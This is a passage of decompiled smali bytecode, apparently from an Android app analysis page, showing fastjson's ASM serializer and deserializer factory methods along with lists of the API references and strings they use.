                                                771invoke-direct {v0, v1, v2, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_quickNextToken(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;I)V
                                                772goto_43d: const/16 v3, 0xa7
                                                774invoke-interface {v2, v3, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                775move-object/from16 v3, v18
                                                777invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                778const/4 v3, 0x1
                                                780invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                782const-string v3, "listContext"
                                                784invoke-virtual {v1, v3}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                785move-result v3
                                                787invoke-interface {v2, v8, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                789sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->DefaultJSONParser:Ljava/lang/String;
                                                790new-instance v4, Ljava/lang/StringBuilder;
                                                792invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                794const-string v5, "("
                                                796invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                797const-class v5, Lcom/alibaba/fastjson/parser/ParseContext;
                                                799invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                800move-result-object v5
                                                802invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                804const-string v5, ")V"
                                                806invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                808invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                809move-result-object v4
                                                811const-string v5, "setContext"
                                                812const/16 v6, 0xb6
                                                814invoke-interface {v2, v6, v3, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                816invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                817move-result v3
                                                818const/16 v4, 0x19
                                                820invoke-interface {v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                822sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                824invoke-interface {v2, v6, v3, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                825const/16 v3, 0xf
                                                827invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                828move-result-object v3
                                                830invoke-interface {v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                831move-object/from16 v3, p3
                                                832const/16 v4, 0xa0
                                                834invoke-interface {v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                836invoke-direct/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_quickNextTokenComma(Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;)V
                                                837move-object/from16 v1, v16
                                                839invoke-interface {v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                840return-void
                                                Cross References
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializerFeature.PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Integer.valueOf
                                                • com.alibaba.fastjson.serializer.SerializerFeature.IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Character.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                Strings
                                                • (L
                                                • out
                                                • isEnabled
                                                • (I)Z
                                                • ;Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V
                                                • write
                                                • ;Ljava/lang/Object;I)Z
                                                • writeReference
                                                • writeAsArrayNonContext
                                                • writeAsArray
                                                • writeAsArrayNormal
                                                • ()
                                                • getContext
                                                • parent
                                                • (
                                                • Ljava/lang/Object;Ljava/lang/Object;I)V
                                                • setContext
                                                • isWriteClassName
                                                • (Ljava/lang/reflect/Type;Ljava/lang/Object;)Z
                                                • java/lang/Object
                                                • getClass
                                                • ()Ljava/lang/Class;
                                                • (I)V
                                                • ;Ljava/lang/Object;)V
                                                • writeClassName
                                                • seperator
                                                • isNotWriteDefaultValue
                                                • ()Z
                                                • notWriteDefaultValue
                                                • )Z
                                                • checkValue
                                                • hasNameFilters
                                                • boolean
                                                • char
                                                • )V
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/lang/Class<",
                                                4"*>;",
                                                5"Lcom/alibaba/fastjson/asm/MethodVisitor;",
                                                6"[",
                                                7"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                8"Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;",
                                                9")V"
                                                10}
                                                11.end annotation
                                                12.annotation system Ldalvik/annotation/Throws;
                                                13value = {
                                                14Ljava/lang/Exception;
                                                15}
                                                16.end annotation
                                                17move-object/from16 v7, p0
                                                18move-object/from16 v8, p1
                                                19move-object/from16 v9, p2
                                                20move-object/from16 v10, p3
                                                21move-object/from16 v11, p4
                                                22new-instance v12, Lcom/alibaba/fastjson/asm/Label;
                                                24invoke-direct {v12}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                25array-length v13, v10
                                                27invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                28move-result v0
                                                30const-string v6, "(L"
                                                32const-string v15, "out"
                                                33const/16 v5, 0xb6
                                                34const/16 v1, 0x19
                                                35if-nez v0, :cond_c7
                                                36new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                38invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                39new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                41invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                43invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                44move-result v14
                                                46invoke-interface {v9, v1, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                48sget-object v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->PrettyFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                49iget v14, v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                51invoke-static {v14}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                52move-result-object v14
                                                54invoke-interface {v9, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                56sget-object v14, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                58const-string v4, "isEnabled"
                                                60const-string v3, "(I)Z"
                                                62invoke-interface {v9, v5, v14, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                63const/16 v3, 0x9a
                                                65invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                66array-length v3, v10
                                                67const/4 v4, 0x0
                                                68const/4 v14, 0x0
                                                69goto_4b: if-ge v4, v3, :cond_59
                                                70aget-object v5, v10, v4
                                                72iget-object v5, v5, Lcom/alibaba/fastjson/util/FieldInfo;->method:Ljava/lang/reflect/Method;
                                                73if-eqz v5, :cond_54
                                                74const/4 v14, 0x1
                                                75cond_54: add-int/lit8 v4, v4, 0x1
                                                76const/16 v5, 0xb6
                                                77goto/16 :goto_4b
                                                78cond_59: if-eqz v14, :cond_7e
                                                80invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                81move-result v3
                                                83invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                85sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->IgnoreErrorGetter:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                86iget v3, v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                88invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                89move-result-object v3
                                                91invoke-interface {v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                93sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                95const-string v4, "isEnabled"
                                                97const-string v5, "(I)Z"
                                                98const/16 v14, 0xb6
                                                100invoke-interface {v9, v14, v3, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                101const/16 v3, 0x99
                                                103invoke-interface {v9, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                104goto/16 :goto_83
                                                105cond_7e: const/16 v3, 0xa7
                                                107invoke-interface {v9, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                108goto_83:
                                                109invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                110const/4 v2, 0x0
                                                112invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                113const/4 v2, 0x1
                                                115invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                116const/4 v2, 0x2
                                                118invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                119const/4 v2, 0x3
                                                121invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                122const/4 v2, 0x4
                                                124invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                125const/4 v2, 0x5
                                                126const/16 v3, 0x15
                                                128invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                129const/16 v2, 0xb7
                                                131sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                132new-instance v4, Ljava/lang/StringBuilder;
                                                134invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                136invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                138sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                140invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                142const-string v5, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                144invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                146invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                147move-result-object v4
                                                149const-string v5, "write"
                                                151invoke-interface {v9, v2, v3, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                152const/16 v2, 0xb1
                                                154invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                156invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                157cond_c7:
                                                158invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                159move-result v0
                                                160if-nez v0, :cond_110
                                                161new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                163invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                164const/4 v2, 0x0
                                                166invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                167const/4 v2, 0x1
                                                169invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                170const/4 v2, 0x2
                                                172invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                173const/4 v2, 0x5
                                                174const/16 v3, 0x15
                                                176invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                178sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                179new-instance v3, Ljava/lang/StringBuilder;
                                                181invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                183invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                185sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                187invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                189const-string v4, ";Ljava/lang/Object;I)Z"
                                                191invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                193invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                194move-result-object v3
                                                196const-string v4, "writeReference"
                                                197const/16 v5, 0xb6
                                                199invoke-interface {v9, v5, v2, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                200const/16 v2, 0x99
                                                202invoke-interface {v9, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                203const/16 v2, 0xb1
                                                205invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                207invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                208cond_110:
                                                209invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                210move-result v0
                                                211if-eqz v0, :cond_122
                                                213invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                214move-result v0
                                                215if-eqz v0, :cond_11f
                                                217const-string v0, "writeAsArrayNonContext"
                                                218goto/16 :goto_124
                                                219cond_11f:
                                                220const-string v0, "writeAsArray"
                                                221goto/16 :goto_124
                                                222cond_122:
                                                223const-string v0, "writeAsArrayNormal"
                                                224goto_124:
                                                225invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$400(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                226move-result-object v2
                                                227iget v2, v2, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                229sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                230iget v3, v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                231and-int/2addr v2, v3
                                                232if-nez v2, :cond_19a
                                                233new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                235invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                237invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                238move-result v3
                                                240invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                242sget-object v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                243iget v3, v3, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                245invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                246move-result-object v3
                                                248invoke-interface {v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                250sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                252const-string v4, "isEnabled"
                                                254const-string v5, "(I)Z"
                                                255const/16 v14, 0xb6
                                                257invoke-interface {v9, v14, v3, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                258const/16 v3, 0x99
                                                260invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                261const/4 v3, 0x0
                                                263invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                264const/4 v3, 0x1
                                                266invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                267const/4 v3, 0x2
                                                269invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                270const/4 v3, 0x3
                                                272invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                273const/4 v3, 0x4
                                                275invoke-interface {v9, v1, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                276const/4 v3, 0x5
                                                277const/16 v4, 0x15
                                                279invoke-interface {v9, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                281invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                282move-result-object v3
                                                283new-instance v4, Ljava/lang/StringBuilder;
                                                285invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                287invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                289sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                291invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                293const-string v5, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                295invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                297invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                298move-result-object v4
                                                299const/16 v5, 0xb6
                                                301invoke-interface {v9, v5, v3, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                302const/16 v0, 0xb1
                                                304invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                306invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                307goto/16 :goto_1d8
                                                308cond_19a: const/4 v2, 0x0
                                                310invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                311const/4 v2, 0x1
                                                313invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                314const/4 v2, 0x2
                                                316invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                317const/4 v2, 0x3
                                                319invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                320const/4 v2, 0x4
                                                322invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                323const/4 v2, 0x5
                                                324const/16 v3, 0x15
                                                326invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                328invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                329move-result-object v2
                                                330new-instance v3, Ljava/lang/StringBuilder;
                                                332invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                334invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                336sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                338invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                340const-string v4, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                342invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                344invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                345move-result-object v3
                                                346const/16 v4, 0xb6
                                                348invoke-interface {v9, v4, v2, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                349const/16 v0, 0xb1
                                                351invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                352goto_1d8:
                                                353invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                354move-result v0
                                                355if-nez v0, :cond_24c
                                                356const/4 v0, 0x1
                                                358invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                360sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                361new-instance v2, Ljava/lang/StringBuilder;
                                                363invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                365const-string v3, "()"
                                                367invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                369sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerialContext_desc:Ljava/lang/String;
                                                371invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                373invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                374move-result-object v2
                                                376const-string v3, "getContext"
                                                377const/16 v4, 0xb6
                                                379invoke-interface {v9, v4, v0, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                380const/16 v0, 0x3a
                                                382const-string v2, "parent"
                                                384invoke-virtual {v11, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                385move-result v2
                                                387invoke-interface {v9, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                388const/4 v0, 0x1
                                                390invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                392const-string v0, "parent"
                                                394invoke-virtual {v11, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                395move-result v0
                                                397invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                398const/4 v0, 0x2
                                                400invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                401const/4 v0, 0x3
                                                403invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                405invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$400(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;
                                                406move-result-object v0
                                                407iget v0, v0, Lcom/alibaba/fastjson/serializer/SerializeBeanInfo;->features:I
                                                409invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                410move-result-object v0
                                                412invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                414sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                415new-instance v2, Ljava/lang/StringBuilder;
                                                417invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                419const-string v3, "("
